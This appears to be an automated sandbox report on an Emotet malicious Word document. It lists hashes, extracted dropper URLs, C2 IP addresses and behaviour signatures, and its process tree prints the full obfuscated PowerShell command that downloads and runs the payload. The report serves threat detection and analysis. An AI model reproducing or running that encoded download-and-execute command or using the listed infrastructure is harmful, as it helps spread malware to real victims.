Analysis

  • max time kernel
    135s
  • max time network
    138s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    17/08/2020, 23:26

General

  • Target
    emotet_e3_a6843ba695ff6d9b98c1710de18540fb64fbd14e5600bdcaf2bb08c8d5d4e879_2020-08-17__232526._doc.doc
  • Size 234KB
  • Sample200817-755envxlpe
  • SHA256 a6843ba695ff6d9b98c1710de18540fb64fbd14e5600bdcaf2bb08c8d5d4e879
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://identisoft.pt/istore/uyg0iy068972/

  • exe.dropper

    http://digitalumesh.tech/cgi-bin/mUl/

  • exe.dropper

    http://cidadehoje.pt/wp-includes/mDobpkdtbyht707/

  • exe.dropper

    http://conferenceroom.ge/wp-content/kEUjjuivo101725/

  • exe.dropper

    http://www.xindisk.com/w48o/TZJS/

Extracted

Family
  • emotet

C2
  • 186.109.104.67:80

  • 185.86.148.68:443

  • 139.99.157.213:8080

  • 203.153.216.178:7080

  • 192.163.221.191:8080

  • 201.235.10.215:80

  • 37.46.129.215:8080

  • 78.189.60.109:443

  • 77.74.78.80:443

  • 143.95.101.72:8080

  • 188.251.213.180:443

  • 31.146.61.34:80

  • 190.53.144.120:80

  • 105.209.235.113:8080

  • 115.78.11.155:80

  • 172.96.190.154:8080

  • 50.116.78.109:8080

  • 188.0.135.237:80

  • 179.62.238.49:80

  • 197.83.232.19:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 5 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_a6843ba695ff6d9b98c1710de18540fb64fbd14e5600bdcaf2bb08c8d5d4e879_2020-08-17__232526._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2920
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABUADUAaQByADIAMgB3AD0AKAAnAEcAMgA0AGUANgBoACcAKwAnADUAJwApADsAJgAoACcAbgBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBOAFYAOgB0AEUAbQBwAFwATwBGAGYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBjAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAVQBgAFIAaQB0AFkAcAByAE8AYABUAE8AYwBvAGwAIgAgAD0AIAAoACcAdABsAHMAMQAyACwAIAAnACsAJwB0AGwAcwAnACsAJwAxADEALAAnACsAJwAgACcAKwAnAHQAbABzACcAKQA7ACQAVABwAHcAbwAxAGIAMgAgAD0AIAAoACcAWABhADAAMABlAGMAJwArACcAdgAnACkAOwAkAEIAMwA2AHoAaAA1ADYAPQAoACcATQBuAGMAJwArACcAMgA1AHcAagAnACkAOwAkAFQAcABoAG0AdQB6AHkAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9AE8AZgAnACsAJwBmAGkAJwArACcAYwBlADIAMAAxACcAKwAnADkAJwArACcAewAwAH0AJwApAC0ARgAgACAAWwBjAEgAQQBSAF0AOQAyACkAKwAkAFQAcAB3AG8AMQBiADIAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAFYAOABkADUANwB0AGkAPQAoACcAUAAnACsAJwBlACcAKwAnAHMAegBkADMAZQAnACkAOwAkAE8AMABhAHoAbwBtAG8APQAmACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAGkAZQBuAFQAOwAkAEgAMQA2AHcAZQA1AGgAPQAoACcAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwBpAGQAZQBuAHQAaQBzAG8AJwArACcAZgAnACsAJwB0AC4AJwArACcAcAAnACsAJwB0AC8AJwArACcAaQBzAHQAbwByAGUALwB1AHkAZwAwAGkAJwArACcAeQAnACsAJwAwADYAJwArACcAOAAnACsAJwA5ACcAKwAnADcAMgAvACoAJwArACcAaAB0AHQAcAA6AC8ALwBkAGkAZwAnACsAJwBpACcAKwAnAHQAJwArACcAYQBsAHUAbQBlACcAKwAnAHMAaAAuAHQAZQAnACsAJwBjAGgAJwArACcALwBjAGcAJwArACcAaQAtAGIAJwArACcAaQBuAC8AbQBVAGwALwAqAGgAdAB0AHAAOgAvAC8AYwBpACcAKwAnAGQAYQBkAGUAaABvACcAKwAnAGoAZQAuAHAAdAAvACcAKwAnAHcAcAAtAGkAbgBjAGwAJwArACcAdQBkAGUAcwAvAG0ARABvAGIAcABrACcAKwAnAGQAdAAnACsAJwBiACcAKwAnAHkAaAB0ADcAMAA3AC8AKgAnACsAJwBoAHQAdABwADoALwAnACsAJwAvAGMAJwArACcAbwBuACcAKwAnAGYAZQAnACsAJwByACcAKwAnAGUAbgBjAGUAJwArACcAcgAnACsAJwBvAG8AbQAnACsAJwAuAGcAZQAnACsAJwAvAHcAcAAnACsAJwAtAGMAbwBuACcAKwAnAHQAZQBuAHQALwBrAEUAJwArACcAVQBqAGoAdQBpAHYAbwAnACsAJwAxADAAMQA3ADIAJwArACcANQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6AC8ALwAnACsAJwB3AHcAdwAuAHgAaQAnACsAJwBuACcAKwAnAGQAaQBzAGsALgBjAG8AbQAvAHcANAA4AG8ALwBUAFoAJwArACcASgBTACcAKwAnAC8AJwApAC4AIgBTAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAeQBwAF8ANwA4AGMAPQAoACcAWAAyAHgAJwArACcAcwBmACcAKwAnAGQAeQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABDAGkAdwA1AHYAYwBjACAAaQBuACAAJABIADEANgB3AGUANQBoACkAewB0AHIAeQB7ACQATwAwAGEAegBvAG0AbwAuACIAZABPAHcAYABOAEwAbwBBAEQAZgBgAEkAbABFACIAKAAkAEMAaQB3ADUAdgBjAGMALAAgACQAVABwAGgAbQB1AHoAeQApADsAJABVAF8AZQBoADAAMwAxAD0AKAAnAE4AJwArACcAbQBlAGQAbQBnADAAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFQAcABoAG0AdQB6AHkAKQAuACIAbABlAE4AYABnAFQASAAiACAALQBnAGUAIAAzADQAMgA0ADcAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAJwArACcAbwBrAGUALQBJAHQAZQBtACcAKQAoACQAVABwAGgAbQB1AHoAeQApADsAJABKAHMAZwBnAGoAZAA5AD0AKAAnAFIAOAAnACsAJwBlACcAKwAnADgAMgBvAHMAJwApADsAYgByAGUAYQBrADsAJABFADgAZQB4ADgAMQBzAD0AKAAnAFgAcQB1ACcAKwAnADQAMABkADIAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAGoAMwB3AHMAZQB0AD0AKAAnAEYAJwArACcAbgBrADYAdgB4ADQAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1884
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Xa00ecv.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Xa00ecv.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3692
      • C:\Windows\SysWOW64\secproc_ssp\mfvdsp.exe
        "C:\Windows\SysWOW64\secproc_ssp\mfvdsp.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2324
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3692 -s 352
        3⤵
        • Program crash
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1000

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1000-18-0x0000000004840000-0x0000000004841000-memory.dmp

        memory/1000-16-0x0000000004650000-0x0000000004651000-memory.dmp

        memory/1884-6-0x00007FFB49590000-0x00007FFB49F7C000-memory.dmp

        memory/1884-7-0x0000015FE3120000-0x0000015FE3121000-memory.dmp

        memory/1884-8-0x0000015FE32D0000-0x0000015FE32D1000-memory.dmp

        memory/2324-15-0x0000000000820000-0x000000000082C000-memory.dmp

        memory/2920-4-0x000002000B3A0000-0x000002000B3B1000-memory.dmp

        memory/2920-5-0x000002000B5D2000-0x000002000B5E6000-memory.dmp

        memory/2920-0-0x00007FFB51620000-0x00007FFB51CE6000-memory.dmp

        memory/2920-3-0x000002000B3A0000-0x000002000B3B1000-memory.dmp

        memory/2920-2-0x000002000B3A0000-0x000002000B3B1000-memory.dmp

        memory/2920-1-0x00000200095DA000-0x00000200095DF000-memory.dmp

        memory/3692-12-0x00000000009F0000-0x00000000009FC000-memory.dmp